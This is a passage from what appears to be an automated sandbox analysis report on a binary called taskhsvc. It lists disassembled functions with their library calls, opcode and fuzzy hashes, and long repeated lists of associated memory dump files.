                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$socket
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1765785985-0
                                                                                                                          • Opcode ID: 97d47197894b34c60cddbee3336a14ec4a8c4f752d8274e84468d706bd68577f
                                                                                                                          • Instruction ID: 51b2d4714096c5b752770ab2899dbae48c4d820856683e2a875e217954354ad6
                                                                                                                          • Opcode Fuzzy Hash: 97d47197894b34c60cddbee3336a14ec4a8c4f752d8274e84468d706bd68577f
                                                                                                                          • Instruction Fuzzy Hash: 5F2195B4A046099FCB14EFB9D88599DBBF0FB08324F108A29E864E7390D735A845CF65
                                                                                                                          Function 00D3928D Relevance: 3.0, APIs: 2, Instructions: 50windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • FormatMessageA.KERNEL32 ref: 00D392E4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D3933D
                                                                                                                            • Part of subcall function 00D413EE: abort.MSVCRT ref: 00D4143E
                                                                                                                            • Part of subcall function 00D413EE: _strdup.MSVCRT ref: 00D41449
                                                                                                                            • Part of subcall function 00D413EE: exit.MSVCRT ref: 00D4148A
                                                                                                                            • Part of subcall function 00D413EE: __stack_chk_fail.LIBSSP-0 ref: 00D4149D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$FormatMessage_strdupabortexit
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1336406275-0
                                                                                                                          • Opcode ID: ca537a9de03e28b9c58b4190263d57758829f98abf314cdcf86a9ed894b5c3df
                                                                                                                          • Instruction ID: ce44509662933ec6cec8e149ce6438ed37098a8bae07c4af03e77cf8958b5d18
                                                                                                                          • Opcode Fuzzy Hash: ca537a9de03e28b9c58b4190263d57758829f98abf314cdcf86a9ed894b5c3df
                                                                                                                          • Instruction Fuzzy Hash: 8E1194B4A0430A9FDB00EFA9C5957AEBBF0BB44344F044429E594E7340D7749945CFA2
                                                                                                                          Function 00D359C4 Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • _open.MSVCRT ref: 00D35A44
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D35A5A
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$_open
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 627647723-0
                                                                                                                          • Opcode ID: b71020a585873fe3221488e858b40c4611f41f277b2cf9f2593b53ac1468745e
                                                                                                                          • Instruction ID: 08f31210b6d5555c577d805945ebc99769c0bd975875e7b48a88c3d6575e39f1
                                                                                                                          • Opcode Fuzzy Hash: b71020a585873fe3221488e858b40c4611f41f277b2cf9f2593b53ac1468745e
                                                                                                                          • Instruction Fuzzy Hash: A01150B4A043099FCB40DFA9D581A9EBBF1FB48304F508919E898F7340D374EA459F62
                                                                                                                          Function 00D38B88 Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C519FB), ref: 00D38C4C
                                                                                                                            • Part of subcall function 00D38B20: memset.MSVCRT ref: 00D38B46
                                                                                                                            • Part of subcall function 00D38B20: GetSystemInfo.KERNEL32 ref: 00D38B56
                                                                                                                            • Part of subcall function 00D38B20: __stack_chk_fail.LIBSSP-0 ref: 00D38B81
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D38BEE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$InfoSystemabortmemset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1515217925-0
                                                                                                                          • Opcode ID: eaba4b0df68b50791359816ae200669639b9f53608d04d29a71d964f8be4da93
                                                                                                                          • Instruction ID: 1e47af35c5b30980dd9183cc107857ddfda6cda7308b8013eb41f33d300f2ec9
                                                                                                                          • Opcode Fuzzy Hash: eaba4b0df68b50791359816ae200669639b9f53608d04d29a71d964f8be4da93
                                                                                                                          • Instruction Fuzzy Hash: 79117370A053409FD710EF35E98514DBBF0EB40314F509908F098A7291D7BCD9899F62
                                                                                                                          Function 00D41355 Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41197: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D41389), ref: 00D411EF
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D39CF8), ref: 00D413E7
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D39CF8), ref: 00D413C1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
